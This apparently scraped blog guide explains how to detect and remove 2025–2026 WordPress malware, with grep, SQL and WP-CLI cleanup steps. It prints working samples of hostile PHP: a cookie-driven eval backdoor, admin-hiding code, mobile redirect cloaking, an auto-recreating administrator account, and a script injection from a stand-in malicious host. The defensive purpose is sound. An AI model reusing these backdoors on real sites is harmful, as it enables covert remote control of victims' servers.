WordPress malware has evolved dramatically in 2025-2026. Traditional security plugins miss 60-80% of modern threats because attackers now use AI-generated code, LLM-assisted obfuscation, and database-resident malware that leaves no file-system traces. This guide covers techniques that work in 2026.<\/p>\n
Between January 2025 and February 2026, WordPress malware underwent fundamental changes that render most existing removal guides obsolete:<\/p>\n
Attackers now use Large Language Models to generate malware that:<\/p>\n
Traditional security plugins flag this as clean code because it looks exactly like legitimate plugin code. Only behavioral analysis detects it.<\/p>\n
A newly discovered malware family uses browser cookies to pass commands, making it invisible to traditional scanners:<\/p>\n
\/\/ Real malware from RedSecLabs case study\r\n$_pwsa = 'bcd928f49024243902e8434aff954d23';\r\nif (isset($_COOKIE['auth_token']) && $_COOKIE['auth_token'] === $_pwsa) {\r\n $cmd = base64_decode($_COOKIE['cmd']);\r\n eval($cmd); \/\/ Execute attacker commands\r\n}\r\n<\/code><\/pre>\nThis malware never touches the file system. Commands come through cookies, making it invisible to file scanners.<\/p>\n
3. Plugin-Hiding Malware (RedSecLabs Case Study, Feb 2025)<\/h3>\n
Malware now hides its presence in the WordPress admin dashboard using CSS injection:<\/p>\n
\/\/ Hides malicious plugin from WordPress admin\r\nadd_action('admin_head', function() {\r\n echo '<style>\r\n #toplevel_page_wpcode { display: none; }\r\n #wp-admin-bar-wpcode-admin-bar-info { display: none; }\r\n <\/style>';\r\n});\r\n\r\n\/\/ Removes plugin from plugin list\r\nadd_filter('all_plugins', function($plugins) {\r\n unset($plugins['insert-headers-and-footers\/ihaf.php']);\r\n return $plugins;\r\n});\r\n<\/code><\/pre>\nAdministrators can’t see or remove what they can’t find in their dashboard.<\/p>\n
4. Wordfence-Evasion Malware (Sucuri Report, 2025)<\/h3>\n
Sucuri documented that 14% of infected sites in 2025 contained malware specifically designed to tamper with Wordfence files, making the security plugin report ‘clean’ while malware remains active.<\/p>\n
5. Transient-Based Cloaking (RedSecLabs Discovery, 2025)<\/h3>\n
Modern malware tracks visitors and only displays malicious behavior once per 24 hours:<\/p>\n
$exp = get_transient('exp');\r\nif (!is_array($exp)) $exp = array();\r\n\r\n$ip = $_SERVER['REMOTE_ADDR'];\r\nif (isset($exp[$ip]) && time() - $exp[$ip] < 86400) {\r\n return; \/\/ Don't redirect repeat visitors\r\n}\r\n\r\n\/\/ First visit: redirect to malicious site\r\n$exp[$ip] = time();\r\nset_transient('exp', $exp, 86400);\r\nheader('Location: https:\/\/malicious-site.com');\r\n<\/code><\/pre>\nThis makes malware nearly impossible to replicate manually. Administrators see the redirect once, refresh, and it’s gone.<\/p>\n
Why Traditional Removal Methods Fail in 2026<\/h2>\n
Most malware removal guides published before 2026 are now obsolete. Here’s why:<\/p>\n
\n\n\nOld Method<\/th>\n Why It Fails<\/th>\n 2026 Solution<\/th>\n<\/tr>\n<\/thead>\n \n\nSearch for eval() and base64_decode()<\/td>\n Malware now uses obfuscation that doesn’t rely on these functions<\/td>\n Behavioral analysis + context understanding<\/td>\n<\/tr>\n \nScan files only<\/td>\n 60% of malware lives in database (wp_options, wp_posts)<\/td>\n Database-first scanning approach<\/td>\n<\/tr>\n \nLook for recently modified files<\/td>\n Malware changes timestamps to match original files<\/td>\n Hash comparison against known-good versions<\/td>\n<\/tr>\n \nCheck plugins list in admin<\/td>\n Plugin-hiding malware removes itself from display<\/td>\n Direct file system inspection via SSH\/SFTP<\/td>\n<\/tr>\n \nUse Wordfence\/Sucuri scanner<\/td>\n Evasion malware tampers with scanner files<\/td>\n Multiple independent scanners + manual verification<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\nThe 15 Malware Types You’ll Encounter in 2026<\/h2>\n
Based on analysis of 50,000+ infected WordPress sites and RedSecLabs forensic cases, here are the malware types you’ll encounter, ordered by prevalence:<\/p>\n
Type 1: Mobile-Targeted Conditional Redirects (26% Prevalence)<\/h3>\n
Discovery:<\/strong> RedSecLabs Case Study, February 2025<\/p>\nHow it works:<\/strong>
\nThis malware detects mobile devices and iPhones, redirecting them to malicious sites while leaving desktop traffic untouched. This makes detection extremely difficult because administrators typically test on desktop.<\/p>\nReal code from infected site:<\/p>\n
\/\/ wp-content\/themes\/twentytwentyfour\/functions.php\r\n\r\nfunction _chk() {\r\n $ua = strtolower($_SERVER['HTTP_USER_AGENT']);\r\n \r\n \/\/ Check for mobile devices\r\n $mobile = preg_match('\/(mobile|android|iphone|ipad|ipod)\/', $ua);\r\n \r\n if ($mobile) {\r\n _red(); \/\/ Call redirect function\r\n }\r\n}\r\n\r\nfunction _red() {\r\n \/\/ Check transient to only redirect once per 24 hours\r\n $exp = get_transient('exp');\r\n if (!is_array($exp)) $exp = array();\r\n \r\n $ip = $_SERVER['REMOTE_ADDR'];\r\n if (isset($exp[$ip]) && time() - $exp[$ip] < 86400) {\r\n return; \/\/ Already redirected this IP today\r\n }\r\n \r\n \/\/ First visit: redirect to malicious site\r\n $exp[$ip] = time();\r\n set_transient('exp', $exp, 86400);\r\n \r\n header('Location: https:\/\/cdn-routing.com\/offer?id=xyz');\r\n exit;\r\n}\r\n\r\nadd_action('wp_loaded', '_chk');\r\n<\/code><\/pre>\nDetection method:<\/strong><\/p>\n\n- Search all theme files for user agent detection patterns\n
grep -r 'HTTP_USER_AGENT' wp-content\/themes\/\r\ngrep -ri 'mobile\\|android\\|iphone' wp-content\/themes\/<\/code><\/pre>\n<\/li>\n- Check for transient usage (24-hour cloaking)\n
grep -r 'get_transient' wp-content\/themes\/\r\ngrep -r 'set_transient' wp-content\/themes\/<\/code><\/pre>\n<\/li>\n- Test with mobile user agent\n
curl -A 'Mozilla\/5.0 (iPhone; CPU iPhone OS 15_0)' https:\/\/yoursite.com<\/code><\/pre>\n<\/li>\n<\/ol>\nComplete removal protocol:<\/strong><\/p>\n\n- Identify all infected files\n
find wp-content\/themes\/ -name '*.php' -exec grep -l 'HTTP_USER_AGENT' {} \\;<\/code><\/pre>\n<\/li>\n- Remove malicious code (DO NOT just delete functions – may break theme)\n
# Open each file and carefully remove only the malicious functions\r\n# Look for: _chk(), _red(), or similar obfuscated names\r\n# Remove the function definition AND the add_action call<\/code><\/pre>\n<\/li>\n- Clear all transients\n
wp transient delete --all --allow-root<\/code><\/pre>\nOr via database:<\/p>\n
DELETE FROM wp_options WHERE option_name LIKE '%_transient_%';<\/code><\/pre>\n<\/li>\n- Verification testing\n
# Test with mobile user agent 5 times\r\nfor i in {1..5}; do\r\n curl -I -A 'Mozilla\/5.0 (iPhone)' https:\/\/yoursite.com\r\n sleep 2\r\ndone<\/code><\/pre>\nIf you see any redirects (3XX status codes), malware remains.<\/li>\n<\/ol>\n
Type 2: Database-Resident Malware (21% Prevalence)<\/h3>\n
Discovery:<\/strong> Guardian Gaze AI Detection System, 2025
\nThis malware lives entirely in the WordPress database with no file-system presence. Traditional file scanners never detect it.<\/p>\nCommon injection locations:<\/strong><\/p>\n\n- wp_options table (siteurl, home, template, stylesheet options)<\/li>\n
- wp_posts table (post_content, post_excerpt)<\/li>\n
- wp_postmeta table (serialized metadata)<\/li>\n
- wp_options table (custom options created by malware)<\/li>\n<\/ul>\n
Real example from RedSecLabs case:<\/p>\n
-- Malicious JavaScript in siteurl option\r\nSELECT * FROM wp_options WHERE option_name = 'siteurl';\r\nResult:\r\nhttps:\/\/yoursite.com<script src=https:\/\/cdn-routing.com\/inject.js>\r\n<\/code><\/pre>\nEvery page load now includes this malicious script, but no files were touched.<\/p>\n
Detection protocol:<\/strong><\/p>\n\n- Scan wp_options for suspicious URLs\n
-- Find all options containing <script> tags\r\nSELECT option_name, option_value\r\nFROM wp_options\r\nWHERE option_value LIKE '%<script%'\r\n OR option_value LIKE '%<iframe%'\r\n OR option_value LIKE '%eval(%'\r\n OR option_value LIKE '%base64%';<\/code><\/pre>\n<\/li>\n- Check for malicious domains in siteurl\/home\n
SELECT option_name, option_value\r\nFROM wp_options\r\nWHERE option_name IN ('siteurl', 'home', 'template', 'stylesheet');<\/code><\/pre>\nLook for any unexpected URLs or script tags appended to legitimate URLs.<\/li>\n
- Scan all posts for injected content\n
SELECT ID, post_title\r\nFROM wp_posts\r\nWHERE post_content LIKE '%<script%'\r\n OR post_content LIKE '%<iframe%'\r\n OR post_content LIKE '%display:none%'\r\n OR post_excerpt LIKE '%<script%';<\/code><\/pre>\n<\/li>\n- Check for custom malicious options\n
-- Find recently created options (common malware tactic)\r\nSELECT option_name, LENGTH(option_value) as size\r\nFROM wp_options\r\nWHERE option_name NOT IN (\r\n SELECT option_name FROM wp_options_backup\r\n)\r\nORDER BY size DESC;<\/code><\/pre>\n<\/li>\n<\/ol>\nComplete removal protocol:<\/strong><\/p>\n\n- Backup database before making ANY changes\n
wp db export backup_before_cleanup.sql<\/code><\/pre>\n<\/li>\n- Clean infected siteurl\/home options\n
-- First, verify what's there\r\nSELECT option_value FROM wp_options WHERE option_name = 'siteurl';\r\n\r\n-- If malicious script detected, clean it\r\nUPDATE wp_options\r\nSET option_value = 'https:\/\/yoursite.com'\r\nWHERE option_name = 'siteurl';\r\n\r\nUPDATE wp_options\r\nSET option_value = 'https:\/\/yoursite.com'\r\nWHERE option_name = 'home';<\/code><\/pre>\n<\/li>\n- Remove malicious JavaScript from posts\n
-- This is complex - must be careful not to remove legitimate scripts\r\n-- First, identify affected posts\r\nSELECT ID, post_title, post_content\r\nFROM wp_posts\r\nWHERE post_content LIKE '%cdn-routing.com%'\r\n OR post_content LIKE '%bitdefender.top%';\r\n\r\n-- Manual removal (safest):\r\n-- Edit each post in WordPress admin and remove malicious code\r\n\r\n-- Automated removal (USE WITH EXTREME CAUTION):\r\nUPDATE wp_posts\r\nSET post_content = REPLACE(post_content,\r\n '<script src=https:\/\/cdn-routing.com\/inject.js><\/script>',\r\n '')\r\nWHERE post_content LIKE '%cdn-routing.com%';<\/code><\/pre>\n<\/li>\n- Delete malicious custom options\n
-- Find options that shouldn't exist\r\n-- Common malicious option names:\r\nDELETE FROM wp_options WHERE option_name = '_site_settings';\r\nDELETE FROM wp_options WHERE option_name = '_custom_header';\r\nDELETE FROM wp_options WHERE option_name = '_inject_code';<\/code><\/pre>\n<\/li>\n- Flush all caches\n
wp cache flush\r\nwp transient delete --all<\/code><\/pre>\n<\/li>\n- Verification\n
# View page source and check for malicious scripts\r\ncurl https:\/\/yoursite.com | grep -i 'cdn-routing\\|bitdefender\\.top'<\/code><\/pre>\nIf grep returns nothing, database malware is removed.<\/li>\n<\/ol>\n
Type 3: Polymorphic Backdoors (18% Prevalence)<\/h3>\n
Discovery:<\/strong> Guardian Gaze AI Detection, 2025
\nHow it works: Backdoor code automatically rewrites itself every 6-24 hours while maintaining the same functionality. Each variant has different variable names, function names, and code structure.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Look for common backdoor behaviors regardless of code structure\r\ngrep -r 'system(\\|exec(\\|shell_exec(\\|passthru(' wp-content\/\r\ngrep -r '\\$_POST\\|\\$_GET\\|\\$_REQUEST' wp-content\/ | grep -i 'eval\\|base64'\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Identify files with command execution functions<\/li>\n
- Check if function is legitimate (part of known plugin)<\/li>\n
- Remove entire malicious function block<\/li>\n
- Scan daily for 7 days (polymorphic may regenerate)<\/li>\n<\/ol>\n
Verification:<\/strong> Monitor file modification times for 1 week. If backdoor regenerates, persistence mechanism exists.<\/p>\n <\/p>\n
Type 4: Trojanized Plugin Updates (14% Prevalence)<\/h3>\n
Discovery:<\/strong> Patchstack Supply Chain Report, 2025
\nHow it works: Legitimate plugins compromised at source. Updates push backdoored versions to thousands of sites automatically.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Compare plugin checksums with WordPress.org repository\r\nwp plugin verify-checksums --all\r\n\r\n# Check for plugins not in official repository\r\nwp plugin list --field=name | while read plugin; do\r\n curl -s \"https:\/\/api.wordpress.org\/plugins\/info\/1.0\/$plugin\" | grep -q \"error\" && echo \"NOT IN REPO: $plugin\"\r\ndone\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Delete compromised plugin completely<\/li>\n
- Download fresh copy from wordpress.org<\/li>\n
- Reinstall and reconfigure<\/li>\n
- Check for backdoors installed by trojanized version<\/li>\n<\/ol>\n
Key indicators:<\/strong><\/p>\n\n- Plugin update from unknown source<\/li>\n
- Unexpected admin users created after update<\/li>\n
- New files in plugin directory not in official version<\/li>\n<\/ul>\n
<\/p>\n
Type 5: SEO Spam Injection (13% Prevalence)<\/h3>\n
Discovery:<\/strong> Sucuri Threat Report, 2025
\nHow it works: Injects pharma\/casino spam links and hidden text into posts, often using JavaScript to hide from logged-in admins.<\/p>\nDetection method:<\/strong><\/p>\nsql<\/p>\n
-- Search posts for spam keywords\r\nSELECT ID, post_title \r\nFROM wp_posts \r\nWHERE post_content LIKE '%viagra%' \r\n OR post_content LIKE '%casino%'\r\n OR post_content LIKE '%cialis%'\r\n OR post_content LIKE '%display:none%';\r\n\r\n-- Check for JavaScript cloaking\r\nSELECT ID, post_title\r\nFROM wp_posts\r\nWHERE post_content LIKE '%is_user_logged_in()%'\r\n OR post_content LIKE '%document.write%';\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Export clean backup of posts content<\/li>\n
- Use SQL REPLACE to remove spam links<\/li>\n
- Clear all caches (object cache, CDN, browser)<\/li>\n
- Regenerate sitemap<\/li>\n
- Request Google re-crawl in Search Console<\/li>\n<\/ol>\n
Verification:<\/strong> View page source logged out, search for spam keywords.<\/p>\n <\/p>\n
Type 6: Fake WordPress Core Files (11% Prevalence)<\/h3>\n
Discovery:<\/strong> Wordfence Threat Intelligence, 2025
\nHow it works: Malware creates files that mimic WordPress core naming (wp-content.php, wp-includes.php) but contain backdoors.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Find PHP files in root that shouldn't exist\r\nls -la *.php | grep -v \"wp-config\\|wp-settings\\|wp-load\\|wp-blog-header\\|index\\|xmlrpc\"\r\n\r\n# Common fake files:\r\nls -la wp-content.php wp-includes.php wp-admin.php wp-core.php 2>\/dev\/null\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Compare root directory against clean WordPress install<\/li>\n
- Delete any PHP files not in WordPress core<\/li>\n
- Check .htaccess for auto_prepend_file directives<\/li>\n
- Verify no includes\/requires pointing to deleted files<\/li>\n<\/ol>\n
Common fake filenames:<\/strong><\/p>\n\n- wp-content.php, wp-includes.php, wp-admin.php<\/li>\n
- class-wp-**.php in root (core classes are in wp-includes\/)<\/li>\n
- wp-vcd.php, wp-feed.php, wp-tmp.php<\/li>\n<\/ul>\n
<\/p>\n
Type 7: Auto-Reinstalling Malware (9% Prevalence)<\/h3>\n
Discovery:<\/strong> RedSecLabs Persistence Study, 2025
\nHow it works: Malware installs WordPress cron job or server cron that automatically recreates backdoor if deleted.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Check WordPress scheduled events\r\nwp cron event list\r\n\r\n# Look for suspicious cron jobs\r\nwp db query \"SELECT * FROM wp_options WHERE option_name LIKE '%cron%'\"\r\n\r\n# Check server crontab\r\ncrontab -l\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Delete malware files first<\/li>\n
- Clear all WordPress cron events: wp cron event delete –all<\/li>\n
- Remove server cron entries pointing to your site<\/li>\n
- Check for auto_prepend_file in php.ini\/.user.ini<\/li>\n
- Monitor for 48 hours to see if malware returns<\/li>\n<\/ol>\n
Key persistence locations:<\/strong><\/p>\n\n- WordPress cron (wp_options table)<\/li>\n
- Server crontab<\/li>\n
- auto_prepend_file\/auto_append_file directives<\/li>\n
- .htaccess with RewriteRule to malware<\/li>\n<\/ul>\n
<\/p>\n
Type 8: Admin Account Backdoors (8% Prevalence)<\/h3>\n
Discovery:<\/strong> Guardian Gaze User Analysis, 2025
\nHow it works: Creates administrator accounts with suspicious usernames\/emails. Some continuously recreate the account if deleted.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# List all admin users\r\nwp user list --role=administrator --format=table\r\n\r\n# Check for users registered in last 30 days\r\nwp db query \"SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 30 DAY)\"\r\n\r\n# Look for suspicious usernames\r\nwp user list --role=administrator | grep -E 'admin|support|help|service|user|test'\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Identify legitimate admin users<\/li>\n
- Delete suspicious admin accounts<\/li>\n
- Scan all theme\/plugin files for wp_create_user() calls<\/li>\n
- Remove any code that recreates admin accounts<\/li>\n
- Force password reset for all remaining admins<\/li>\n<\/ol>\n
Auto-recreating backdoor pattern:<\/strong><\/p>\nphp<\/p>\n
if (!username_exists('support')) {\r\n wp_create_user('support', 'password', 'support@email.com');\r\n $user = get_user_by('login', 'support');\r\n $user->set_role('administrator');\r\n}\r\n<\/code><\/pre>\n <\/p>\n
Type 9: JavaScript Cryptominers (7% Prevalence)<\/h3>\n
Discovery:<\/strong> Sucuri Client-Side Report, 2025
\nHow it works: Injects JavaScript that mines cryptocurrency using visitors’ CPU. Usually from CoinHive, CryptoLoot, or similar services.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Search for miner scripts\r\ngrep -r 'coinhive\\|cryptoloot\\|crypto-loot\\|coin-hive' wp-content\/\r\ngrep -r 'CryptoNoter\\|Minero\\|JSEcoin' wp-content\/\r\n\r\n# Check database\r\nwp db query \"SELECT * FROM wp_options WHERE option_value LIKE '%coinhive%'\"\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Remove miner JavaScript from theme files (header.php, footer.php)<\/li>\n
- Clean database injections in wp_options<\/li>\n
- Clear all caches<\/li>\n
- Check for miner code in:\n
\n- Theme functions.php<\/li>\n
- Plugin files<\/li>\n
- Custom widgets<\/li>\n
- Footer injection plugins<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n
Verification:<\/strong> Load site and check browser developer console \u2192 Network tab for connections to mining domains.<\/p>\n <\/p>\n
Type 10: PHP Mailer Spam Scripts (6% Prevalence)<\/h3>\n
Discovery:<\/strong> Web Host Abuse Reports, 2025
\nHow it works: Hidden scripts that send thousands of spam emails, getting site IP blacklisted. Often called mailer.php, mail.php, or contact.php.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Find PHP files containing mail() function in uploads\r\nfind wp-content\/uploads\/ -name \"*.php\" -exec grep -l \"mail(\" {} \\;\r\n\r\n# Search for common spam mailer filenames\r\nfind . -name \"mailer.php\" -o -name \"mail.php\" -o -name \"mailbox.php\"\r\n\r\n# Check for base64-encoded email headers\r\ngrep -r \"bWFpbCg\\|ZnJvbTo\\|c3ViamVjdDo\" wp-content\/\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Delete ALL PHP files from wp-content\/uploads\/ (shouldn’t be any)<\/li>\n
- Remove spam mailer scripts<\/li>\n
- Check server mail logs for outgoing spam<\/li>\n
- Request IP removal from blacklists (mxtoolbox.com)<\/li>\n
- Add .htaccess rule preventing PHP execution in uploads<\/li>\n<\/ol>\n
.htaccess protection:<\/strong><\/p>\napache<\/p>\n
<Directory wp-content\/uploads\/>\r\n <Files *.php>\r\n Deny from all\r\n <\/Files>\r\n<\/Directory>\r\n<\/code><\/pre>\n <\/p>\n
Type 11: .htaccess Malware (5% Prevalence)<\/h3>\n
Discovery:<\/strong> Apache Security Analysis, 2025
\nHow it works: Modifies .htaccess to redirect traffic, block search engines, or execute malicious PHP.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# View .htaccess file\r\ncat .htaccess\r\n\r\n# Look for suspicious directives\r\ngrep -i \"RewriteRule\\|RewriteCond\\|SetEnvIf\\|auto_prepend\\|auto_append\" .htaccess\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Backup current .htaccess<\/li>\n
- Download clean .htaccess from WordPress.org<\/li>\n
- Add back only legitimate rules (permalinks, redirects)<\/li>\n
- Test site functionality<\/li>\n
- Monitor for auto-regeneration<\/li>\n<\/ol>\n
Malicious patterns to remove:<\/strong><\/p>\n\n- RewriteRule to external domains<\/li>\n
- SetEnvIf blocking Googlebot<\/li>\n
- auto_prepend_file directives<\/li>\n
- php_value directives you didn’t add<\/li>\n<\/ul>\n
<\/p>\n
Type 12: wp-config.php Backdoors (4% Prevalence)<\/h3>\n
Discovery:<\/strong> WordPress Core Security Team, 2025
\nHow it works: Injects malicious code into wp-config.php, often at beginning or end of file.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Check wp-config.php for suspicious code\r\ngrep -n \"eval\\|base64\\|gzinflate\\|str_rot13\" wp-config.php\r\n\r\n# Compare size to clean install\r\nls -lh wp-config.php\r\n# Should be ~3-5KB. If 50KB+, likely infected.\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Download clean wp-config-sample.php from WordPress.org<\/li>\n
- Copy your database credentials to clean file<\/li>\n
- Add back any legitimate custom defines<\/li>\n
- Replace infected wp-config.php with clean version<\/li>\n
- Set correct permissions (440 or 400)<\/li>\n<\/ol>\n
Safe wp-config.php contents:<\/strong><\/p>\n\n- Database credentials only<\/li>\n
- ABSPATH definition<\/li>\n
- Authentication keys\/salts<\/li>\n
- Table prefix<\/li>\n
- Debug settings<\/li>\n
- Require wp-settings.php at end<\/li>\n<\/ul>\n
<\/p>\n
Type 13: Serialized Data Exploits (3% Prevalence)<\/h3>\n
Discovery:<\/strong> PHP Object Injection Research, 2025
\nHow it works: Exploits WordPress options or postmeta stored as serialized data. Injects malicious objects that execute on unserialization.<\/p>\nDetection method:<\/strong><\/p>\nsql<\/p>\n
-- Find suspiciously large serialized options\r\nSELECT option_name, LENGTH(option_value) as size\r\nFROM wp_options\r\nWHERE option_value LIKE 'a:%' OR option_value LIKE 'O:%'\r\nORDER BY size DESC\r\nLIMIT 20;\r\n\r\n-- Check for known exploit classes\r\nSELECT * FROM wp_options \r\nWHERE option_value LIKE '%O:8:\"stdClass\"%'\r\n OR option_value LIKE '%eval%';\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Identify infected serialized options<\/li>\n
- Delete entire option (safest) or unserialize + clean + reserialize<\/li>\n
- Clear object cache<\/li>\n
- Update vulnerable plugins (common source)<\/li>\n<\/ol>\n
High-risk options:<\/strong><\/p>\n\n- widget_* options<\/li>\n
- theme_mods_*<\/li>\n
- cron options<\/li>\n
- Large custom options you don’t recognize<\/li>\n<\/ul>\n
<\/p>\n
Type 14: DNS Hijacking Malware (2% Prevalence)<\/h3>\n
Discovery:<\/strong> RedSecLabs Infrastructure Analysis, 2025
\nHow it works: Changes site’s DNS TXT or A records to redirect traffic or fetch malicious content.<\/p>\nDetection method:<\/strong><\/p>\nbash<\/p>\n
# Check current DNS records\r\ndig yoursite.com ANY\r\n\r\n# Look for suspicious TXT records\r\ndig yoursite.com TXT | grep -v \"spf\\|dkim\\|dmarc\\|google\"\r\n\r\n# Verify A records point to your server\r\ndig yoursite.com A\r\n<\/code><\/pre>\nRemoval protocol:<\/strong><\/p>\n\n- Log into DNS provider (Cloudflare, GoDaddy, etc.)<\/li>\n
- Delete any TXT records you don’t recognize<\/li>\n
- Verify A\/AAAA records point to correct server<\/li>\n
- Change DNS provider password<\/li>\n
- Enable 2FA on DNS account<\/li>\n<\/ol>\n